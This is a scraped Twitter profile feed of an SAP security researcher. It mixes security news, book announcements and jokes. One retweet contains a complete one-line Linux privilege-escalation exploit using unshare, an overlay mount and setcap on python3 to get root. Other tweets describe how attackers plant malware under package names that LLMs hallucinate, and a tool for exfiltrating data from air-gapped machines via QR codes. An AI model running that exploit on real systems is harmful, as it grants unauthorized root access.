Frederik Weidemann @insert_report

SAP Security & IT Security. All tweets are my own :-). Heidelberg - Germany Joined January 2013

Tweets

415
Followers

192
Following

240
Likes

158

No Starch Press @nostarch

3 months ago

If you can learn to read, you can learn to hack.

19 62 691 53K 77

No Starch Press @nostarch

8 months ago

Information wants to be free and your firewall wants to argue about it 🙄

1 3 35 4K 0

🚨 Limited Offer! 🚨 Master SAP Security for FREE! Our "SAP Security Core Concepts" course on Udemy is now available. First, 100 students learn for free! 🔒Enhance your cybersecurity skills 🏆BlackHat conference material 🆓Use code: REDRAYS-SAP-SECURITY udemy.com/course/sap-sec…

0 1 1 238 0

James Forshaw @tiraniddo

2 years ago

This new book has finally arrived. Thank's to @nostarch as well as @billpollock for making it happen as well as @Lee_Holmes as my tech reviewer.

48 185 1K 106K 333

Download Image

nixCraft 🐧 @nixcraft

2 years ago

How SSH port became the default TCP/22 ssh.com/academy/ssh/po… #linux #unix #history

26 520 2K 139K 341

Download Image

Adam Ježek 🦔 má konečně semafor 🚦🚦🚦 @adamjezek98

2 years ago

Playing snake on @Ubiquiti Etherlighting switch. Most expensive gaming console I own. Game selection is pretty limited due to the poor resolution. They went overkill on ethernet connectivity but forgot about other ports, I can't even plug in my gamepad. But it has RGB. 9/10

71 1K 5K 557K 701

Download Video

Massimo @Rainmaker1973

2 years ago

This is called the Coffer illusion. In this image there are 16 circles. Can you find them?

3K 8K 72K 23.6M 11K

Download Image

Epic Maps 🗺️ @theepicmap

2 years ago

99.999% will fail 🧐

530 51 595 445K 110

Download Image

Ryan Hurst @rmhrisk

2 years ago

Did you know there are approximately 85 organizations authorized to issue TLS certificates for the web today? Or that seven of them issue 99% of all certificates currently in use? The presence of the others is largely intended to accommodate web openness and national…

3 50 130 19K 32

Florian Roth ⚡️ @cyb3rops

2 years ago

So, the security of your employees' private Google accounts now determines the effectiveness of your MFA. I guess it's a good idea to routinely check their Google accounts on haveibeenpwned.com - haha bleepingcomputer.com/news/security/…

13 131 381 101K 114

Download Image

liad eliyahu @liadeliyahu

2 years ago

Exploit is so easy it fits in a tweet🔥 unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

sagitz @sagitz_

2 years ago

14 443 2K 365K 482

Download Image

11 275 891 155K 316

Download Image

Thomas Jung @thomas_jung

2 years ago

ABAP Platform Trial as Docker Image - now available! blogs.sap.com/2023/07/31/now…

0 13 62 4K 10

Download Image

Enno Rey @Enno_Insinuator

2 years ago

It was a matter of time... aws.amazon.com/blogs/aws/new-…

1 4 17 4K 1

Download Image

LLM Security @llm_sec

2 years ago

* People ask LLMs to write code * LLMs recommend imports that don't actually exist * Attackers work out what these imports' names are, and create & upload them with malicious payloads * People using LLM-written code then auto-add malware themselves vulcan.io/blog/ai-halluc…

81 2K 8K 1.8M 1K

Aleksandr Volodarsky @volodarik

2 years ago

Sunday read. This is hilarious. Engineers are competing who creates the worst UI on Reddit. I think the winners are: 1/ Enter your phone number

474 13K 65K 14.6M 13K

Download Gif

Out of Context Human Race @NoContextHumans

2 years ago

919 19K 268K 27.7M 4K

Download Image

HackGit @hack_git

3 years ago

QRExfiltrate This tool is a command line utility that allows you to convert any binary file into a #QRcode movie. The data can then be reassembled visually allowing exfiltration of data in air gapped systems. github.com/Shell-Company/…